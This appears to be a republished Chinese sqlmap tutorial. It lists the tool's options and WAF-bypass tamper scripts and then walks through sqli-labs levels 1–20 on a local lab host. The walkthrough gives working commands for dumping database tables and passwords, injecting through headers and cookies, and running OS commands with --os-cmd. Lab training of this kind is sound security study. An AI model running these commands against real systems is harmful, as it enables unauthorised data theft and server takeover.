sqlmap使用教程(超詳細)


-u 指定目標URL (可以是http協議也可以是https協議)
-d 連接數據庫
--dbs 列出所有的數據庫
--current-db 列出當前數據庫
--tables 列出當前的表
--columns 列出當前的列
-D 選擇使用哪個數據庫
-T 選擇使用哪個表
-C 選擇使用哪個列
--dump 獲取字段中的數據
--batch 自動選擇yes
--smart 啟發式快速判斷,節約浪費時間
--forms 嘗試使用post注入
-r 加載文件中的HTTP請求(本地保存的請求包txt文件)
-l 加載文件中的HTTP請求(本地保存的請求包日志文件)
-g 自動獲取Google搜索的前一百個結果,對有GET參數的URL測試
-o 開啟所有默認性能優化
--tamper 調用腳本進行注入
-v 指定sqlmap的回顯等級
--delay 設置多久訪問一次
--os-shell 獲取主機shell,一般不太好用,因為沒權限
-m 批量操作
-c 指定配置文件,會按照該配置文件執行動作
-data data指定的數據會當做post數據提交
-timeout 設定超時時間
-level 設置注入探測等級
--risk 風險等級
--identify-waf 檢測防火牆類型
--param-del="分割符" 設置參數的分割符
--skip-urlencode 不進行url編碼
--keep-alive 設置持久連接,加快探測速度
--null-connection 檢索沒有body響應的內容,多用於盲注
--thread 最大為10 設置多線程
 
--delay
有些web服務器請求訪問太過頻繁可能會被防火牆攔截,使用--delay就可以設定兩次http請求的延時

 

--safe-url
有的web服務器會在多次錯誤的訪問請求后屏蔽所有請求,使用--safe-url 就可以每隔一段時間去訪問一個正常的頁面。
 
--tamper
語法:--tamper ["腳本名稱"]
當調用多個腳本的時候,腳本之間用逗號隔開,調用的腳本在 sqlmap文件夾下的 tamper 文件夾中

腳本信息

apostrophemask.py              用UTF-8全角字符替換單引號字符
apostrophenullencode.py        用非法雙字節unicode字符替換單引號字符
appendnullbyte.py              在payload末尾添加空字符編碼
base64encode.py                對給定的payload全部字符使用Base64編碼
between.py                     分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
bluecoat.py                    在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=”
chardoubleencode.py            對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
charencode.py                  對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
charunicodeencode.py           對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
equaltolike.py                用“LIKE”運算符替換全部等於號“=”
greatest.py                   用“GREATEST”函數替換大於號“>”
halfversionedmorekeywords.py  在每個關鍵字之前添加MySQL注釋
ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
lowercase.py                  用小寫值替換每個關鍵字字符
modsecurityversioned.py       用注釋包圍完整的查詢
modsecurityzeroversioned.py   用當中帶有數字零的注釋包圍完整的查詢
multiplespaces.py             在SQL關鍵字周圍添加多個空格
nonrecursivereplacement.py    用representations替換預定義SQL關鍵字,適用於過濾器
overlongutf8.py               轉換給定的payload當中的所有字符
percentage.py                 在每個字符之前添加一個百分號
randomcase.py                 隨機轉換每個關鍵字字符的大小寫
randomcomments.py             向SQL關鍵字中插入隨機注釋
securesphere.py               添加經過特殊構造的字符串
sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py              用“/**/”替換空格符
space2dash.py                 用破折號注釋符“--”其次是一個隨機字符串和一個換行符替換空格符
space2hash.py                 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2morehash.py             用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2mssqlblank.py           用一組有效的備選字符集當中的隨機空白符替換空格符
space2mssqlhash.py            用磅注釋符“#”其次是一個換行符替換空格符
space2mysqlblank.py           用一組有效的備選字符集當中的隨機空白符替換空格符
space2mysqldash.py            用破折號注釋符“--”其次是一個換行符替換空格符
space2plus.py                 用加號“+”替換空格符
space2randomblank.py          用一組有效的備選字符集當中的隨機空白符替換空格符
unionalltounion.py            用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py              用一個多字節組合%bf%27和末尾通用注釋一起替換空格符 寬字節注入
varnish.py                    添加一個HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py          用MySQL注釋包圍每個非函數關鍵字
versionedmorekeywords.py      用MySQL注釋包圍每個關鍵字
xforwardedfor.py              添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF

 

-v ["x"]
使用sqlmap注入測試時,可以使用 -v [x] 參數來指定回顯信息的復雜程度, x 的取值范圍為[0~6]:
等級
解釋
0
只顯示python錯誤以及嚴重信息
1
同時顯示基本信息和警告信息
2
同時顯示debug信息
3
同時顯示注入的pyload
4
同時顯示HTTP請求
5
同時顯示HTTP相應頭
6
同時顯示HTTP相應頁面
 
--level
level有5個等級,默認等級為1,進行Cookie測試時使用--level 2 ,進行use-agent或refer測試時使用--level 3 ,進行 host 測試時使用--level 5
 
–-os-cmd=["命令"] 或 --os-shell=["命令"] 執行系統命令
利用sql-labs-less1測試 whoami 命令
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
選擇web服務器支持的語言

 

 選擇web服務器的可寫目錄

[1] 使用默認的
[2] 自定義位置
[3] 自定義目錄列表文件
[4] 暴力搜索

我在本地測試,節省時間,我選擇2 ,自定義路徑,然后把路徑輸入在下面

執行命令后的返回結果

以下關卡均可用get型的方法,常規注入

step1:sqlmap -u ["URL"] //測試是否存在注入
step2:sqlmap -u ["URL"] -current-db //查詢當前數據庫
step3:sqlmap -u ["URL"] -D ["數據庫名"] --tables //查詢當前數據庫中的所有表
step4:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫中指定表指定列中的字段內容

 

 
GET型
關卡
類型
sql-labs-less1
GET單引號字符型注入
sql-labs-less2
數字型注入
sql-labs-less3
有括號的單引號報錯注入
sql-labs-less4
有括號的雙引號報錯注入
sql-labs-less5
單引號二次注入
sql-labs-less6
雙引號二次注入
sql-labs-less7
文件導入導出
sql-labs-less8
布爾型盲注
sql-labs-less9
時間型盲注
sql-labs-less10
雙引號時間盲注
 
sql注入檢測
get型:
語法:sqlmap -u ["url"]
sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1

 

 post型:

先使用bp把提交的數據包保存下來

或者直接

加上post提交的參數

語法:sqlmap -r ["請求包的txt文件"]

sqlmap -r "/root/.sqlmap/post.txt"

 

sql-labs -less1~sql-labs-less9

獲取當前數據庫名稱:
語法:sqlmap -u [“url”] --current-db
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db

獲取指定數據庫的表名:

語法:sqlmap -u [“url”] -D [‘數據庫名’] --tables
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables

 

獲取指定數據庫指定表中的字段:

語法:sqlmap -u [“url”] -D [‘數據庫名’] -T[‘表名’] --columns
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

獲取指定數據庫指定表的指定字段的字段內容:

語法:sqlmap -u [“url”] -D [‘數據庫名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump

 

 sql-labs-less10

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db

 

提升等級 -level 2

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db

 

 

 sql-labs-less11~less17常規 POST 注入

step1:sqlmap -r ["請求頭文本"]  //測試是否存在注入
step2:sqlmap -r ["請求頭文本"] --current-db //查詢當前數據庫
step3:sqlmap -r ["請求頭文本"] -D ["數據庫名"] --tables //查詢當前數據庫的所有表
step4:sqlmap -r ["請求頭文本"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫指定表的所有列
step5:sqlmap -r ["請求頭文本"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫指定表指定列的所有字段內容

 

 
POST
關卡
類型
sql-labs-less11
基於錯誤的單引號字符型注入
sql-labs-less12
基於錯誤的雙引號字符型注入
sql-labs-less13
單引號變形雙注入
sql-labs-less14
雙引號變形雙注入
sql-labs-less15
Bool型時間延遲單引號盲注
sql-labs-less16
Bool型時間延遲雙引號盲注
sql-labs-less17
更新查詢注入
sql-labs-less18
Uagent注入
sql-labs-less19
Referer注入
sql-labs-less20
Cookie注入
 
 
 
sql-labs-less18
Header injection - Uagent
sqlmap 在對user-agent 注入的時候,得在文件中的user-agent的參數后面加上 *

 

 

 

或者不加 * 號,調用 --level參數,將等級調至 3級,只有等級為 3級即以上時才能對 user-agent進行注入

sqlmap -r "/root/.sqlmap/post.txt" -level 3

 

 

 

sql-labs-less19
Header injection - Referer
對Referer注入和User-agent相同,要么是在Referer后面加上 *

 

 

或者將 level 調至 3 級

 

 

sql-labs-less20
Header injection -Cookie
語法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM